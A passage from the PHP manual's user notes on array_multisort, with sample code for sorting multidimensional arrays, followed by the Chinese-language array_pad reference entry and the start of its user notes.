               array_keys($searchResult)
    );
    // use multisort, first on the values, then on the keys. This will erase the indexes in the $searchResult array
    array_multisort($array[0], SORT_DESC,  $array[1], SORT_DESC);
    // get the ordered keys back in the $searchResult array
    $searchResult = array_combine($array[1], $array[0]);
    unset($array); //clear some memory
?>
nick ([AT]) nickyost ([DOT]) com 15-Sep-2011 03:36
USort function can be used to sort multidimensional arrays with almost no work whatsoever by using the individual values within the custom sort function.

This function passes the entire child element even if it is not a string. If it is an array, as would be the case in multidimensional arrays, it will pass the whole child array as one parameter.

Therefore, do something elegant like this:

<?php
     // Sort the multidimensional array
     usort($results, "custom_sort");
     // Define the custom sort function
     function custom_sort($a,$b) {
          return $a['some_sub_var']>$b['some_sub_var'];
     }
?>

This does in 4 lines what other functions took 40 to 50 lines to do. This does not require you to create temporary arrays or anything. This is, for me, a highly preferred solution over this function.

Hope it helps!
info at ichier dot de 28-Jul-2011 08:59
if you want to sort an array by columns, this is the function to do it.

<?php
function array_csort() {        //coded by Ichier2003
    $args = func_get_args();
    $marray = array_shift($args);
    $msortline = 'return(array_multisort(';
    foreach ($args as $arg) {
        $i++;
        if (is_string($arg)) {
            foreach ($marray as $row) {
                $sortarr[$i][] = $row[$arg];
            }
        } else {
            $sortarr[$i] = $arg;
        }
        $msortline .= '$sortarr['.$i.'],';
    }
    $msortline .= '$marray));';
    eval($msortline);
    return $marray;
}
?>
thierryzo at hotmail dot fr 29-Jun-2011 02:27
//A very simple way to sort arrays with this kind of structure.

<?php
    $myArray =array(
        array("NUMCIE" => "001","REF" => "RXL","COLOR" => "RED","L1" => 4),
        array("NUMCIE" => "001","REF" => "RXL","COLOR" => "BLUE","L1" => 6),
        array("NUMCIE" => "001","REF" => "RHQ","COLOR" => "RED","L1" => 4),
        array("NUMCIE" => "002","REF" => "RXL","COLOR" => "YELLOW","L1" => 8));

    foreach($myArray as $c=>$key) {
        $sort_numcie[] = $key['NUMCIE'];
        $sort_ref[] = $key['REF'];
        $sort_color[] = $key['COLOR'];
    }

    array_multisort($sort_numcie, SORT_ASC, $sort_ref, SORT_STRING, $myArray);
    print_r($myArray);

?>

//Result array

Array
(
    [0] => Array
        (
            [NUMCIE] => 001
            [REF] => RHQ
            [COLOR] => RED
            [L1] => 4
        )

    [1] => Array
        (
            [NUMCIE] => 001
            [REF] => RXL
            [COLOR] => BLUE
            [L1] => 6
        )

    [2] => Array
        (
            [NUMCIE] => 001
            [REF] => RXL
            [COLOR] => RED
            [L1] => 4
        )

    [3] => Array
        (
            [NUMCIE] => 002
            [REF] => RXL
            [COLOR] => YELLOW
            [L1] => 8
        )

)
Jaak Tamre 22-Mar-2011 06:42
I had a problem with sorting SimpleXMLElement list. I found a nice short solution.

I have an array of ticket objects: $ticketList = $xml->Tickets;

<?php
// Sort by ValidOnDate
$tickets = array();
$valid = array();
foreach ($ticketList as $row) {
    $tickets[] = $row;
    $valid[] = DateHandler::parseDate($row->ValidOnDate);
}
array_multisort($valid, SORT_DESC, $tickets);
?>

Just make an array of object items you want to sort by and a new array for the same objects which will be reordered like the first array.

Ps: my own parseDate(date) returns unix timestamp for different date formats.
jimpoz at jimpoz dot com 21-Oct-2010 02:26
I came up with an easy way to sort database-style results. This does what example 3 does, except it takes care of creating those intermediate arrays for you before passing control on to array_multisort().

<?php
function array_orderby()
{
    $args = func_get_args();
    $data = array_shift($args);
    foreach ($args as $n => $field) {
        if (is_string($field)) {
            $tmp = array();
            foreach ($data as $key => $row)
                $tmp[$key] = $row[$field];
            $args[$n] = $tmp;
            }
    }
    $args[] = &$data;
    call_user_func_array('array_multisort', $args);
    return array_pop($args);
}
?>

The sorted array is now in the return value of the function instead of being passed by reference.

<?php
$data[] = array('volume' => 67, 'edition' => 2);
$data[] = array('volume' => 86, 'edition' => 1);
$data[] = array('volume' => 85, 'edition' => 6);
$data[] = array('volume' => 98, 'edition' => 2);
$data[] = array('volume' => 86, 'edition' => 6);
$data[] = array('volume' => 67, 'edition' => 7);

// Pass the array, followed by the column names and sort flags
$sorted = array_orderby($data, 'volume', SORT_DESC, 'edition', SORT_ASC);
?>
zequez at gmail dot com 06-May-2010 03:19
Easiest way I find out to sort an entire multidimensional array by one element of it:

<?php
$multiArray = Array(
    Array("id" => 1, "name" => "Defg"),
    Array("id" => 2, "name" => "Abcd"),
    Array("id" => 3, "name" => "Bcde"),
    Array("id" => 4, "name" => "Cdef"));
$tmp = Array();
foreach($multiArray as &$ma)
    $tmp[] = &$ma["name"];
array_multisort($tmp, $multiArray);
foreach($multiArray as &$ma)
    echo $ma["name"]."<br/>";

/* Outputs
    Abcd
    Bcde
    Cdef
    Defg
*/
?>

^-^
alexander dot v at zend dot com 20-Jan-2010 03:42
array_multisort works normally in php 5.3, but it forces arguments to be references.

It doesn't make differences for common array_multisort() usage, but makes "problems" for sorting variable number of arrays where call_user_func_array() function is involved.

So all sorting arrays have to be collected into new one as a references to array variables:

<?php
$sortArgs = array();

for (...) {
    ...
    $sortArgs[] = &$valuesArray;
    ...
}

call_user_func_array('array_multisort', $sortArgs);
?>

This (requiring arguments to be a reference) is not actually a problem since source array will not be sorted otherwise.

Important note!
Don't forget to destroy $valuesArray variable if you use it over each array_multisort() argument processing iteration.
If you don't do it, all array_multisort() arguments will contain the same array:

<?php
for (...) {
    ...
    $sortArgs[] = &$valuesArray;
    unset($valuesArray);
    ...
}
?>

And the last important thing :)
Collect sorting arrays somewhere. PHP 5.3 will transfer reference into value (when $valuesArray is destroyed) and you will get "Parameter 1 to array_multisort() expected to be a reference, value given" warning again otherwise.

Final code should look like this:

<?php
$sortArgs = array();
$sortFieldValues = array();

for (...) {
    ...
    $sortFieldValues[] = &$valuesArray;
    $sortArgs[] = &$valuesArray;
    unset($valuesArray);
    ...
}

call_user_func_array('array_multisort', $sortArgs);
?>
cagret at gmail dot com 20-Jun-2009 12:16
A more inuitive way of sorting multidimensional arrays using array_msort() in just one line, you don't have to divide the original array into per-column-arrays:

<?php

$arr1 = array(
    array('id'=>1,'name'=>'aA','cat'=>'cc'),
    array('id'=>2,'name'=>'aa','cat'=>'dd'),
    array('id'=>3,'name'=>'bb','cat'=>'cc'),
    array('id'=>4,'name'=>'bb','cat'=>'dd')
);

$arr2 = array_msort($arr1, array('name'=>SORT_DESC, 'cat'=>SORT_ASC));

debug($arr1, $arr2);

arr1:
    0:
        id: 1 (int)
        name: aA (string:2)
        cat: cc (string:2)
    1:
        id: 2 (int)
        name: aa (string:2)
        cat: dd (string:2)
    2:
        id: 3 (int)
        name: bb (string:2)
        cat: cc (string:2)
    3:
        id: 4 (int)
        name: bb (string:2)
        cat: dd (string:2)
arr2:
    2:
        id: 3 (int)
        name: bb (string:2)
        cat: cc (string:2)
    3:
        id: 4 (int)
        name: bb (string:2)
        cat: dd (string:2)
    0:
        id: 1 (int)
        name: aA (string:2)
        cat: cc (string:2)
    1:
        id: 2 (int)
        name: aa (string:2)
        cat: dd (string:2)

function array_msort($array, $cols)
{
    $colarr = array();
    foreach ($cols as $col => $order) {
        $colarr[$col] = array();
        foreach ($array as $k => $row) { $colarr[$col]['_'.$k] = strtolower($row[$col]); }
    }
    $eval = 'array_multisort(';
    foreach ($cols as $col => $order) {
        $eval .= '$colarr[\''.$col.'\'],'.$order.',';
    }
    $eval = substr($eval,0,-1).');';
    eval($eval);
    $ret = array();
    foreach ($colarr as $col => $arr) {
        foreach ($arr as $k => $v) {
            $k = substr($k,1);
            if (!isset($ret[$k])) $ret[$k] = $array[$k];
            $ret[$k][$col] = $array[$k][$col];
        }
    }
    return $ret;

}

?>
m dot michalczyk at gmail dot com 16-May-2009 03:45
Here is useful example based on za at byza dot it solution to sort multidimensional objects by any dimension.
za at byza dot it
<?php
/* Example structure */
class person{
    function __construct($firstName, $lastName, $title, $position){
        $this->firstName = $firstName;
        $this->lastName = $lastName;
        $this->title = new title($title);
        $this->position = new position($position);
    }
}
class title{
    function __construct($name){
        $this->name = $name;
    }

}
class position{
    function __construct($name){
        $this->name = $name;
    }

}

$array[] = new person('Piotr', 'Sobiepanek', 'b', 'b');
$array[] = new person('Piotr', 'Kowalski', 'b', 'a');
$array[] = new person('Piotr', 'Michalski', 'a', 'a');
$array[] = new person('Jozef', 'Smietana', 'a', 'b');
$array[] = new person('Jozef', 'Cmietana', 'a', 'b');
$array[] = new person('Marcin', 'Kondraciuk', 'c', 'b');
$array[] = new person('Maksym', 'Kondraciuk', 'c', 'd');
$array[] = new person('Ambrozy', 'Kondraciuk', 'c', 'd');
$array[] = new person('Alojzy', 'Kondraciuk', 'c', 'd');

array_sort($array, 'title->name', 'position->name', 'lastName');
print_r($array);

/* Source */

function hod(&$base, $path){
    $keys = explode("->", $path);
    $keys[0] = str_replace('$', '', $keys[0]);
    $expression = '$ret = ';
    $expression.= '$';
    foreach ($keys as $key){
        if (++$licz == 1){
            $expression.= 'base->';
        } else {
            $expression.= $key.'->';
        }
    }
    $expression = substr($expression, 0, -2);
    $expression.= ';';
    eval($expression);
    return $ret;
}

function array_sort_func($a,$b=NULL) {
   static $keys;
   if($b===NULL) return $keys=$a;
   foreach($keys as $k) {
      if($k[0]=='!') {
         $k=substr($k,1);
         if(hod($a, '$a->'.$k)!==hod($b, '$b->'.$k)) {
            return strcmp(hod($b, '$b->'.$k),hod($a, '$a->'.$k));
         }
      }
      else if(hod($a, '$a->'.$k)!==hod($b, '$b->'.$k)) {
         return strcmp(hod($a, '$a->'.$k),hod($b, '$b->'.$k));
      }
   }
   return 0;
}

function array_sort(&$array) {
   if(!$array) return $keys;
   $keys=func_get_args();
   array_shift($keys);
   array_sort_func($keys);
   usort($array,"array_sort_func");
}
?>
mech.cx 28-Mar-2009 12:04
I was (as near everyone here :-) looking to sort 2-dimensional arrays by certain fields in the associative sub-arrays.
What I didn't like about the documentation examples is that you need to loop through the input array to create sub arrays first, then use those in the function call.

"php a-t-the-r-a-t-e chir.ag" (http://www.php.net/manual/en/function.array-multisort.php#60401) wrote a quite cunning wrapper function, I rewrote it slightly, changing variable names and adding comments (for my sanity :-) mostly.
One snag I found: the input array is passed to array_multisort as last argument, but the changed array is not the one that is returned. Passing it by reference fixed that. This seems to be caused by the whole thing sitting inside the call_user_func_array, as shown below.

<?php

$points = array(1, 5, 2, 2);
$names  = array('peter', 'mike', 'john Zoo', 'john Ab');

$source = array (
  array ( 'points' => 1, 'name' => 'Peter'),
  array ( 'points' => 5, 'name' => 'Mike'),
  array ( 'points' => 2, 'name' => 'John Zoo'),
  array ( 'points' => 2, 'name' => 'John Ab')
);

call_user_func_array('array_multisort', array($points, SORT_DESC, SORT_NUMERIC, $names, SORT_ASC, SORT_STRING, $source)); // doesn't work
print_r($source);
call_user_func_array('array_multisort', array($points, SORT_DESC, SORT_NUMERIC, $names, SORT_ASC, SORT_STRING, &$source)); // works!
print_r($source);

// Call like arrayColumnSort('points', SORT_DESC, SORT_NUMERIC, 'name', SORT_ASC, SORT_STRING, $source);

// Slightly adapted from http://www.php.net/manual/en/function.array-multisort.php#60401

// arrayColumnSort(string $field, [options, ], string $field2, [options, ], .... , $array) /

//____________________
// arrayColumnSort() /
function arrayColumnSort() {
  $args  = func_get_args();
  $array = array_pop($args);
  if (! is_array($array)) return false;
  // Here we'll sift out the values from the columns we want to sort on, and put them in numbered 'subar' ("sub-array") arrays.
  //   (So when sorting by two fields with two modifiers (sort options) each, this will create $subar0 and $subar3)
  foreach($array as $key => $row) // loop through source array
    foreach($args as $akey => $val) // loop through args (fields and modifiers)
      if(is_string($val))             // if the arg's a field, add its value from the source array to a sub-array
        ${"subar$akey"}[$key] = $row[$val];
  // $multisort_args contains the arguments that would (/will) go into array_multisort(): sub-arrays, modifiers and the source array
  $multisort_args = array();
  foreach($args as $key => $val)
    $multisort_args[] = (is_string($val) ? ${"subar$key"} : $val);
  $multisort_args[] = &$array;   // finally add the source array, by reference
  call_user_func_array("array_multisort", $multisort_args);
  return $array;
}

?>
frank at overdrunk dot net 14-Jan-2009 02:38
I had a function to make a sort on a 2D array and I wanted to sort an array using a column that usualy contains numeric values but also strings.

Lets say we have this array :

Array (
  [0] => Array ( "name" = "12000" ),
  [1] => Array ( "name" = "113" ),
  [2] => Array ( "name" = "test 01" ),
  [3] => Array ( "name" = "15000 tests" ),
  [4] => Array ( "name" = "45" ),
  [5] => Array ( "name" = "350" ),
  [6] => Array ( "name" = "725" ),
  [7] => Array ( "name" = "hello" )
}

SORT_STRING whould have returned me this :

Array ( // Numeric values are not correctly sorted
  [0] => Array ( "name" = "113" ),
  [1] => Array ( "name" = "12000" ),
  [2] => Array ( "name" = "15000 tests" ),
  [3] => Array ( "name" = "350" ),
  [4] => Array ( "name" = "45" ),
  [5] => Array ( "name" = "725" ),
  [6] => Array ( "name" = "hello" ),
  [7] => Array ( "name" = "test 01" )
}

SORT_NUMERIC would have returned me this :

Array ( // String values are not sorted, just in the same order
  [0] => Array ( "name" = "test 01" ),
  [1] => Array ( "name" = "hello" ),
  [2] => Array ( "name" = "45" ),
  [3] => Array ( "name" = "113" ),
  [4] => Array ( "name" = "350" ),
  [5] => Array ( "name" = "725" ),
  [6] => Array ( "name" = "12000" ),
  [7] => Array ( "name" = "15000 tests" ),
}

So I've made this hybrid code which combines the best of both worlds by merging content sorted either way according to the first caracter of the string:

<?php
/**
 * Sorts an array according to a specified column
 * Params : array  $table
 *          string $colname
 *          bool   $numeric
 **/
function sort_col($table, $colname) {
  $tn = $ts = $temp_num = $temp_str = array();
  foreach ($table as $key => $row) {
    if(is_numeric(substr($row[$colname], 0, 1))) {
      $tn[$key] = $row[$colname];
      $temp_num[$key] = $row;
    }
    else {
      $ts[$key] = $row[$colname];
      $temp_str[$key] = $row;
    }
  }
  unset($table);

  array_multisort($tn, SORT_ASC, SORT_NUMERIC, $temp_num);
  array_multisort($ts, SORT_ASC, SORT_STRING, $temp_str);
  return array_merge($temp_num, $temp_str);
}
?>

It would return something like this :

Array (
  [2] => Array ( "name" = "45" ),
  [3] => Array ( "name" = "113" ),
  [4] => Array ( "name" = "350" ),
  [5] => Array ( "name" = "725" ),
  [6] => Array ( "name" = "12000" ),
  [7] => Array ( "name" = "15000 tests" ),
  [1] => Array ( "name" = "hello" ),
  [0] => Array ( "name" = "test 01" ),
}
Zbigniew Heintze http://bigweb.pl 26-Nov-2008 11:36
<?php
/**
 * Sort DB result
 *
 * @param array $data Result of sql query as associative array
 *
 * Rest of parameters are optional
 * [, string $name  [, mixed $name or $order  [, mixed $name or $mode]]]
 * $name string - column name i database table
 * $order integer - sorting direction ascending (SORT_ASC) or descending (SORT_DESC)
 * $mode integer - sorting mode (SORT_REGULAR, SORT_STRING, SORT_NUMERIC)
 *
 * <code>
 * <?php
 * // You can sort data by several columns e.g.
 * $data = array();
 * for ($i = 1; $i <= 10; $i++) {
 *     $data[] = array( 'id' => $i,
 *                      'first_name' => sprintf('first_name_%s', rand(1, 9)),
 *                      'last_name' => sprintf('last_name_%s', rand(1, 9)),
 *                      'date' => date('Y-m-d', rand(0, time()))
 *                  );
 * }
 * $data = sortDbResult($data, 'date', SORT_DESC, SORT_NUMERIC, 'id');
 * printf('<pre>%s</pre>', print_r($data, true));
 * $data = sortDbResult($data, 'last_name', SORT_ASC, SORT_STRING, 'first_name', SORT_ASC, SORT_STRING);
 * printf('<pre>%s</pre>', print_r($data, true));
 * ?>
 * </code>
 *
 * @return array $data - Sorted data
 */
function sortDbResult(array $data /*$name, $order, $mode*/) {
    $_argList = func_get_args();
    $_data = array_shift($_argList);
    if (empty($_data)) {
        return $_data;
    }
    $_max = count($_argList);
    $_params = array();
    $_cols = array();
    $_rules = array();
    for ($_i = 0; $_i < $_max; $_i += 3)
    {
        $_name = (string) $_argList[$_i];
        if (!in_array($_name, array_keys(current($_data)))) {
            continue;
        }
        if (!isset($_argList[($_i + 1)]) || is_string($_argList[($_i + 1)])) {
            $_order = SORT_ASC;
            $_mode = SORT_REGULAR;
            $_i -= 2;
        } else if (3 > $_argList[($_i + 1)]) {
            $_order = SORT_ASC;
            $_mode = $_argList[($_i + 1)];
            $_i--;
        } else {
            $_order = $_argList[($_i + 1)] == SORT_ASC ? SORT_ASC : SORT_DESC;
            if (!isset($_argList[($_i + 2)]) || is_string($_argList[($_i + 2)])) {
                $_mode = SORT_REGULAR;
                $_i--;
            } else {
                $_mode = $_argList[($_i + 2)];
            }
        }
        $_mode = $_mode != SORT_NUMERIC
                    ? $_argList[($_i + 2)] != SORT_STRING ? SORT_REGULAR : SORT_STRING
                    : SORT_NUMERIC;
        $_rules[] = array('name' => $_name, 'order' => $_order, 'mode' => $_mode);
    }
    foreach ($_data as $_k => $_row) {
        foreach ($_rules as $_rule) {
            if (!isset($_cols[$_rule['name']])) {
                $_cols[$_rule['name']] = array();
                $_params[] = &$_cols[$_rule['name']];
                $_params[] = $_rule['order'];
                $_params[] = $_rule['mode'];
            }
            $_cols[$_rule['name']][$_k] = $_row[$_rule['name']];
        }
    }
    $_params[] = &$_data;
    call_user_func_array('array_multisort', $_params);
    return $_data;
}
?>
matt at idizinc dot com 23-Oct-2008 11:47
I looked on some forms for an answer to this simple problem and couldn't find one so I came up with a solution that may help in some situations.

How do you sort an array by a field in that array and resolve numeric ties randomly?

Code:
<?php

foreach($list as $temp_list)
{
   $sort_aux[] = ($temp_list['column_to_sort_by']+(rand(1, 9)/10));
}
array_multisort($sort_aux, SORT_NUMERIC, $list);

?>

Example:

$list[]=array('name'=>'Tom', 'score'=>3);
$list[]=array('name'=>'Sam', 'score'=>3);
$list[]=array('name'=>'Joey', 'score'=>1);

Explanation:
I took an existing example found above that shows how to sort an array by one of it's columns/fields.
I just added: "+(rand(1,9)/10)" To randomly add .1 through .9 to their score to resolve the tie. (Obviously this specific example only works if you're sorting by an integer... so you may need to modify it to suit your needs.)

Hope this helps someone.
isp dot php at spspft dot de 19-Oct-2008 05:44
I would like to report a kind of confusion that arose with the message

Warning: Call-time pass-by-reference has been deprecated; If you would like to pass it by reference, modify the declaration of array_multisort(). If you would like to enable call-time pass-by-reference, you can set allow_call_time_pass_reference to true in your INI file...

from a line like this:

array_multisort (&$keyarr, &$arr );// sort against this keys

This message is not easily switched off by changing the error reporting level because it's produced at parsinig time -- not execution time.

I think this message is misleading because the arguments are passed by reference ANYWAY in array_multisort.

Anybody encountering this message should know that nothing has to be done, except deleting the ampersands (&).
I was tricked by this message because of couse I wanted to have the *sorted* array back. And couldn't find the ini file nor the declaration of array_multisort.
I think in this description of array_multisort the call by reference should be listed in the definition.

Hope this helps someone
seiffs_at_centrum-dot-cz 18-Aug-2008 08:53
There have to be two corrections to the php_multisort($data,$keys)

    // Sort Expression
    $i=0;
    $sort='';  //here
    foreach ($keys as $k){
      if($i>0){$sort.=',';}
      $sort.='$cols[\''.$k['key'].'\']'; //and here
      if($k['sort']){$sort.=',SORT_'.strtoupper($k['sort']);}
      if($k['type']){$sort.=',SORT_'.strtoupper($k['type']);}
      $i++;
    }
Jon L. -- intel352 [AT] gmail [DOT] com 26-Feb-2007 08:27
This is my solution for a dynamic multisort, using POST values. This doesn't account for a need to sort by multiple columns at once, but could be modified for that purpose.

<?php
    /**
    * @desc You really should validate the posted sort direction against a list of valid possibilities.
    *         Options are SORT_ASC, SORT_DESC, etc, as shown in the documentation for array_multisort
    */
    $sort['direction'] = $_POST['sort_direction'] ? $_POST['sort_direction'] : 'SORT_ASC';
    $sort['field']       = $_POST['sort_field'] ? $_POST['sort_field'] : 'value';

    $array_to_sort = array();
    $array_to_sort['TestCase1'] = array('name'=>'Test1','value'=>'218');
    $array_to_sort['TestCase2'] = array('name'=>'Test2','value'=>'10');
    $array_to_sort['TestCase3'] = array('name'=>'Test3','value'=>'64');

    /**
    * @desc Build columns using the values, for sorting in php
    */
    $sort_arr = array();
    foreach($array_to_sort AS $uniqid => $row){
        foreach($row AS $key=>$value){
            $sort_arr[$key][$uniqid] = $value;
        }
    }

    print '<b>Before sorting</b>: <br> <pre>';
    print_r($array_to_sort);
    print '</pre>';

    if($sort['direction']){
        array_multisort($sort_arr[$sort['field']], constant($sort['direction']), $array_to_sort);
    }

    print '<b>After sorting</b>: <br> <pre>';
    print_r($array_to_sort);
    print '</pre>';

?>

This example prints out:

Before sorting:

Array
(
    [TestCase1] => Array
        (
            [name] => Test1
            [value] => 218
        )

    [TestCase2] => Array
        (
            [name] => Test2
            [value] => 10
        )

    [TestCase3] => Array
        (
            [name] => Test3
            [value] => 64
        )

)

After sorting:

Array
(
    [TestCase2] => Array
        (
            [name] => Test2
            [value] => 10
        )

    [TestCase3] => Array
        (
            [name] => Test3
            [value] => 64
        )

    [TestCase1] => Array
        (
            [name] => Test1
            [value] => 218
        )

)
brettz9 throu gh yah 14-Sep-2006 12:04
Often, one may have a group of arrays which have parallel data that need to be kept associated with each other (e.g., the various attribute values of a group of elements might be stored in their own arrays). Using array_multisort as is, by specifying additional fields, it is possible, as in the documentation example cited below, that this association will be lost.

To take this example set of data from the documentation:
<?php
$ar1 = array("10", 100, 100, "a");
$ar2 = array(1, 3, "2", 1);
?>

The example goes on to sort it this way:
<?php
array_multisort($ar1, $ar2);
?>

In this case, although the "10" remains associated with the first '1' after being sorted, the "2" and '3' are reversed from their original order.

In order to sort by one field only (yet still have the other array(s) being correspondingly sorted), one can use array_keys (which makes an array out of the keys) to ensure that no further sub-sorting is performed. This works because array_keys is making an array for which no duplicates can exist (since keys will be unique), and thus, the subsequent fields will have no relevance as far as subsorting.

So, using the above data, we can perform this sort instead:
<?php
$ar3 = array_keys($ar1);
array_multisort($ar1, $ar3, $ar2);
?>

which, when $ar1 and $ar2 are dumped gives:

array(4) {
  [0]=> string(2) "10"
  [1]=> string(1) "a"
  [2]=> int(100)
  [3]=> int(100)
}
array(4) {
  [0]=>  int(1)
  [1]=>  int(1)
  [2]=>  int(3)
  [3]=>  string(1) "2"
}
KES http://kes.net.ua 27-Jul-2006 05:30
<?
//sort by second column then first one
$orderBy=array('0'=>'desc', 'first'=>'asc');

function KES_cmp($a, $b) {
  global $orderBy;
  $result= 0;
  foreach( $orderBy as $key => $value ) {
    if( $a[$key] == $b[$key] ) continue;
    $result= ($a[$key] < $b[$key])? -1 : 1;
    if( $value=='desc' ) $result= -$result;
    break;
    }
  return $result;
  }

$result= array();
$result[]= array( 'first'=>6, 2);
$result[]= array( 'first'=>3, 2);
$result[]= array( 'first'=>1, 3);
$result[]= array( 'first'=>1, 2);
$result[]= array( 'first'=>6, 1);

print "<b>Source</b>";
print_r($result);

usort($result, 'KES_cmp');
print "<b>Result</b>";
print_r($result);
?>
scott - evolove - net - work it out 22-Mar-2006 07:51
A very simple way to sort an array of associative arrays by some value is to use usort.

I needed to sort an array of 20 data structures by their 'distance' value:

Array
(
    [0] => Array
        (
            [blahblah] => blahblah
            [distance] => 6
        )

    [1] => Array
        (
          you get the idea....

Here's the code:

--------------------
usort($results, "distributor_compare");

/**
 * usort callback
 */
function distributor_compare($a, $b) {
    $adist = intval($a['distance']);
    $bdist = intval($b['distance']);

    if ($adist == $bdist) {
     return 0;
     }
     return ($adist < $bdist) ? -1 : 1;
}
--------------------
php a-t-the-r-a-t-e chir.ag 05-Jan-2006 02:10
Re: phu at kungphu, 19-Dec-2005 11:36

asort($test) will not let me specify which columns to sort ASC/DESC, NUMERIC/STRING etc.

I have data similar to what you specified. Now I want to sort $test by points DESC and name ASC. Here's my function that does it, based on suggestions on this page. It uses array_multisort (and hence acts just like it: preserving string-keys etc.)

<?php

  function arrayColumnSort()
  {
    $n = func_num_args();
    $ar = func_get_arg($n-1);
    if(!is_array($ar))
      return false;

    for($i = 0; $i < $n-1; $i++)
      $col[$i] = func_get_arg($i);

    foreach($ar as $key => $val)
      foreach($col as $kkey => $vval)
        if(is_string($vval))
          ${"subar$kkey"}[$key] = $val[$vval];

    $arv = array();
    foreach($col as $key => $val)
      $arv[] = (is_string($val) ? ${"subar$key"} : $val);
    $arv[] = $ar;

    call_user_func_array("array_multisort", $arv);
    return $ar;
  }

  $test["pete"]['points']=1;
  $test["pete"]['name']='Peter';

  $test["mike"]['points']=5;
  $test["mike"]['name']='Mike';

  $test["zoo"]['points']=2;
  $test["zoo"]['name']='John Zoo';

  $test["ab"]['points']=2;
  $test["ab"]['name']='John Ab';

  $test1 = $test;

  asort($test1);

  $test2 = arrayColumnSort("points", SORT_DESC, SORT_NUMERIC, "name", SORT_ASC, SORT_STRING, $test);

  print_r($test1); // asort
  print_r($test2); // arrayColumnSort

?>

Output from asort:

Array
(
    [pete] => Array
        (
            [points] => 1
            [name] => Peter
        )

    [ab] => Array
        (
            [points] => 2
            [name] => John Ab
        )

    [zoo] => Array
        (
            [points] => 2
            [name] => John Zoo
        )

    [mike] => Array
        (
            [points] => 5
            [name] => Mike
        )

)

Output from arrayColumnSort:

Array
(
    [mike] => Array
        (
            [points] => 5
            [name] => Mike
        )

    [ab] => Array
        (
            [points] => 2
            [name] => John Ab
        )

    [zoo] => Array
        (
            [points] => 2
            [name] => John Zoo
        )

    [pete] => Array
        (
            [points] => 1
            [name] => Peter
        )

)
RWC 25-Sep-2005 01:45
This is the simpler version of the function by AlberT.

A lot of times you have got an array like this:

$test[0]['name']='Peter';
$test[0]['points']=1;

$test[1]['name']='Mike';
$test[1]['points']=5;

$test[2]['name']='John';
$test[2]['points']=2;

You just want to sort on the index in the second dimension, ie. on points in the above example.

You can use the function below and call it like this:

$test = multi_sort($test, $key = 'points');

function multi_sort($array, $akey)
{
  function compare($a, $b)
  {
     global $key;
     return strcmp($a[$key], $b[$key]);
  }
  usort($array, "compare");
  return $array;
}

Note: to be able to use $key in the compare function, it can not simply be passed as a parameter. It has to be declared global and set somewhere outside of compare().
joao at intrasystems dot com dot br 07-Apr-2005 12:27
Exemple of sorting multi-dimensional arrays by one of it's fields:

$result[0]['nome']='Joao';
$result[0]['order']=5;
$result[1]['nome']='Pedro';
$result[1]['order']=1;
$result[2]['nome']='Marcelo';
$result[2]['order']=3;

foreach($result as $res)
     $sortAux[] = $res['order'];

array_multisort($sortAux, SORT_ASC, $result);

print_r($result);

produces:

Array
(
    [0] => Array
        (
            [nome] => Pedro
            [order] => 1
        )

    [1] => Array
        (
            [nome] => Marcelo
            [order] => 3
        )

    [2] => Array
        (
            [nome] => Joao
            [order] => 5
        )

)
meddle at dzygn.com 05-Oct-2004 07:40
If you want to sort a multidomensional array by key name you cannot use array_multisort. ie: for an array named $archivos that prints like this:

Array
(
    [0] => Array
        (
            [index] => 0
            [name] => test
        )

    [1] => Array
        (
            [index] => 0
            [name] => watertaxi.jpg
        )

    [2] => Array
        (
            [index] => 0
            [name] => 2_0003.JPG
        )

    [3] => Array
        (
            [index] => 0
            [name] => 24A_0025.JPG
        )

    [4] => Array
        (
            [index] => 1
            [name] => _CIMG3501.JPG
        )

)

If I wanted to order by "name" I'd use:

function comparar($a, $b) {
        return strnatcasecmp($a["name"], $b["name"]);
}
usort($archivos, "comparar");

This function performs a case insensitive string comparison using a "natural order" algorithm (strnatcasecmp), resulting in:

Array
(
    [0] => Array
        (
            [index] => 0
            [name] => 2_0003.JPG
        )

    [1] => Array
        (
            [index] => 0
            [name] => 24A_0025.JPG
        )

    [2] => Array
        (
            [index] => 0
            [name] => test
        )

    [3] => Array
        (
            [index] => 0
            [name] => watertaxi.jpg
        )

    [4] => Array
        (
            [index] => 1
            [name] => _CIMG3501.JPG
        )

)


以指定长度将一个值填充进数组

  • ? array_multisort
  • array_pop ?
  • PHP Manual
  • 数组 函数
  • 以指定长度将一个值填充进数组

array_pad

(PHP 4, PHP 5, PHP 7, PHP 8)

array_pad — 以指定长度将一个值填充进数组

说明

array_pad(array $array, int $length, mixed $value): array

array_pad() 返回 array 的一个拷贝，并用 value 将其填补到 length 指定的长度。如果 length 为正，则填补到数组的右侧，如果为负则从左侧开始填补。如果 length 的绝对值小于或等于 array 数组的长度则没有任何填补。有可能一次最多填补 1048576 个单元。

参数

array

需要被填充的原始数组。

length

新数组的长度。

value

将被填充的值，只有在 array 的现有长度小于 length 的长度时才有效。

返回值

返回 array 用 value 填充到 length 指定的长度之后的一个副本。如果 length 为正，则填补到数组的右侧，如果为负则从左侧开始填补。如果 length 的绝对值小于或等于 array 数组的长度则没有任何填补。

示例

Example #1 array_pad() 例子

<?php
$input = array(12, 10, 9);

$result = array_pad($input, 5, 0);
// result 是 array(12, 10, 9, 0, 0)

$result = array_pad($input, -7, -1);
// result 是 array(-1, -1, -1, -1, 12, 10, 9)

$result = array_pad($input, 2, "noop");
// 没有填充
?>

参见

  • array_fill() - 用给定的值填充数组
  • range() - 根据范围创建数组，包含指定的元素

User Contributed Notes

slava-san at mail dot ru 06-Jul-2013 10:58
// insert element to array
function array_insert(&$arr, $pos, $new_el=null) {
    $arraypad = array_pad($arr, count($arr)+1, 0);
    for ($i=count($arr)-1; $i>=$pos; $i--) {
        $arr[$i+1] = $arr[$i];
        if ($i == $pos) {
            $arr[$i] = $new_el;
        }
    }
}

$digits = array();
$digits[0] = 0;
$digits[1] = 1;
$digits[2] = 2;
$digits[3] = 3;
$digits[4] = 4;
$digits[5] = 5;
echo "was: "; var_dump($digits);

array_insert($digits, 3, 100);
echo "new: "; var_dump($digits);
sonu50imedbvu at gmail dot com(Sonu Jaiswal) 12-Jan-2011 12:53
Just an info about the value of "$pad_size" ,

If we set the value of "$pad_size" from -3 to 3,

It will produce the output like:

<?php
$result = array_pad($input, -3, "noop");
//result is array(12, 10, 9)

$result = array_pad($input, 3, "noop");
//result is array(12, 10, 9)
?>

means array will remain the same.
tugla 18-Dec-2008 09:23
Beware, if you try to pad an associative array using numeric keys, your keys will be re-numbered.

<?php
$a = array('size'=>'large', 'number'=>20, 'color'=>'red');
print_r($a);
print_r(array_pad($a, 5, 'foo'));

// use timestamps as keys
